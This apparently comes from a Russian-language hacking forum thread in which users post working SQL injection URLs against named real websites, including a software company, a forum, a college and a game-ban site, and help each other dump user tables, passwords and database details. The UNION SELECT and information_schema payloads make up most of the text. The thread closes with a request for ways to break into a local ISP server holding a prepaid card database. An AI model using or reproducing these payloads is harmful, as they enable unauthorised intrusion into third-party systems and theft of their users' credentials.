http://www.dnastar.com/support/FAQs1.php?faqid=-1

Не могу вытащить юзеров и пароли ихнее
а точнее вытащил из таблицы user
колонку username токо =\
дальше чет не могу так как все там перерыл

diznt, там при логине не пароль просят, а какой-то номер (Subscriber Number)

http://www.dnastar.com/support/FAQs1.php?faqid=-10+union+select+1,2,group_concat(column_name,0x2F, table_name),4,5,6+from+information_schema.columns+ where+column_name+like+'%num%'/*

ssnum/forms

может что-то из этого .. проверь на всякий случай.




2sabe

http://www.whimit.com/forum_read.php?f=17&id=75739+and+substring(version (),1,1)=4

версия 4.0. Подзапросов нет .. поковыряю еще насчет юниона

в таблице user такие колонки там

http://www.citycollege.ac.cy/link.php?id=-211+union+select+1,2,3/* вроде инъекция... Но не выводит. Прошу помочь.

http://www.citycollege.ac.cy/link.php?id=-1+union+select+222,version(),1/*

http://www.citycollege.ac.cy/link.php?id=-211+union+select+1,concat_ws(0x3a,user(),version() ,database()),user()--

http://amxbans.snakearena.net/ban_details.php?bid=-1+union+select+1,2,3,4,5,6
вроде как инъекция, но ничего не выводит...

https://forum.antichat.ru/showpost.php?p=1108085&postcount=2
https://forum.antichat.ru/showpost.php?p=1108479&postcount=3

подскажите мне! у меня в сети есть сервак! через который сеть выходит в инет! на нем есть сайт статистики,вот я там полазил и нашёл такую штуку-в периоде с ...... по ..... если ставишь > то после поля даты появляется name=date_end> , а во втором окне если так же сделать,то будет name=date_beg>, а если поставить ' в самом поле периода вместо даты появляется вот так \' Так же доступно phpinfo.php
Что я могу тут сделать? я в php не оч шарю.И еще скажи мне если я через этот локальный сайт статистики ввожу карточку(которую покупаю для инета) он мне зачисляет на мой аккаунт деньги не выходя в нет! я вот думаю-значит бд карточек на серваке находится? или там другая система?